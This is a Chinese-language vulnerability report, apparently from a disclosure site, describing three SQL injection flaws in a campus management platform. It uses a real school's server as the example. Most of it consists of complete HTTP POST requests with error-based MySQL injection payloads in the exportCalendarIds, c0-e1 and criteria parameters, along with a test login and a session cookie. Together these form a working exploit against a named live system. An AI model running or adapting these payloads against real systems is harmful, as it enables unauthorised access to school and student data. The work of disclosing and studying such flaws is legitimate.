通用型校园管理平台SQL注入下载

通用型校园管理平台SQL注入

北京乐知行软件有限公司，通用型校园管理平台

官方案例：http://www.lezhixing.com.cn/cms/lzx/case/index.jhtml

我们那北京101中学为例：

案例网址：http://202.108.154.209/datacenter/#



测试用户：

test123/123456



第一处SQL注入：

1、普通学生用户登陆

2、一周日程——导出日程——确定

3、发送下面请求：

链接：http://202.108.154.209/oa/calendar/exportExcel.do

POST：exportStartDate=2014-03-03&exportEndDate=2014-03-04&exportCalendars=zhaojinfeng2%E6%97%A5%E5%8E%86&exportCalendarIds=16d07c5ff5e44036b5a44751ab2df91e') AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((user()),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) and ('1'='1

在参数exportCalendars处存在SQL注入。

发送请求后，会下载文件，注入后的内容就在此文件里。

确定，下载文件。

打开文件就是我们注入后的结果：

第二处SQL注入：

1、普通学生用户登陆

2、一周日程——选择一个日程进行修改（没有日程新建一个）——保存修改

3、在保存是抓包修改

问题参数在c0-e1

修改c0-e1参数，发送修改后的请如下：

POST /oa/dwr/call/plaincall/calendarRemoteCallController.saveEvent.dwr HTTP/1.1

Host: 202.108.154.209

Cookie: AQ_AUTHENTICATION_COOKIE_KEY=aae03b698ecd444aa0ae02f8d87c026a



callCount=1

windowName=pageContent

c0-scriptName=calendarRemoteCallController

c0-methodName=saveEvent

c0-id=0

c0-e1=string:0e362687769f426380ab1b8a015ef014' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT user()),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'a'='a

c0-e2=string:

c0-e3=string:1111111111111

c0-e4=string:2014-03-04

c0-e5=string:2014-03-04

c0-e6=boolean:true

c0-e7=boolean:true

c0-e8=string:rgb(230%2C115%2C153)

c0-e9=number:1

c0-e10=null:null

c0-e11=string:-1

c0-e12=number:2

c0-e13=string:arrange

c0-e14=number:0

c0-e15=null:null

c0-e16=null:null

c0-e17=string:

c0-e18=string:

c0-e19=string:

c0-e20=string:

c0-e21=string:0

c0-param0=Object_Object:{id:reference:c0-e1, eventId:reference:c0-e2, title:reference:c0-e3, start:reference:c0-e4, end:reference:c0-e5, allDay:reference:c0-e6, editable:reference:c0-e7, backgroundColor:reference:c0-e8, priority:reference:c0-e9, calendarNameId:reference:c0-e10, remind:reference:c0-e11, privacy:reference:c0-e12, eventType:reference:c0-e13, eventStatus:reference:c0-e14, calendarProjectId:reference:c0-e15, arrangeRelation:reference:c0-e16, messageTaskId:reference:c0-e17, dutier:reference:c0-e18, parter:reference:c0-e19, site:reference:c0-e20, xlts:reference:c0-e21}

c0-param1=string:

c0-param2=boolean:false

c0-param3=boolean:true

batchId=25

page=%2Foa%2F%2Fcalendar%2FinitCalendar.do%3F__time__%3D1394571647842

httpSessionId=

scriptSessionId=4C1126686168926E787E3EBB1EA961EF

返回结果会报错，在报错信息中成功注入出我们想要的数据：

第三处SQL注入：

1、普通学生用户登陆

2、我的桌面——添加我的投票——主题搜索

3、在搜索内容时，抓包，修改criteria，criteria参数存在注入。

发送如下请求：

POST /datacenter/vote/myVoteList.do HTTP/1.1

Host: 202.108.154.209

Cookie: aae03b698ecd444aa0ae02f8d87c026a



_search=false&nd=1394576122963&rows=50&page=1&sidx=from_date&sord=desc&criteria=theme+like+'%25123%25'+AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT user()),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'a'='a'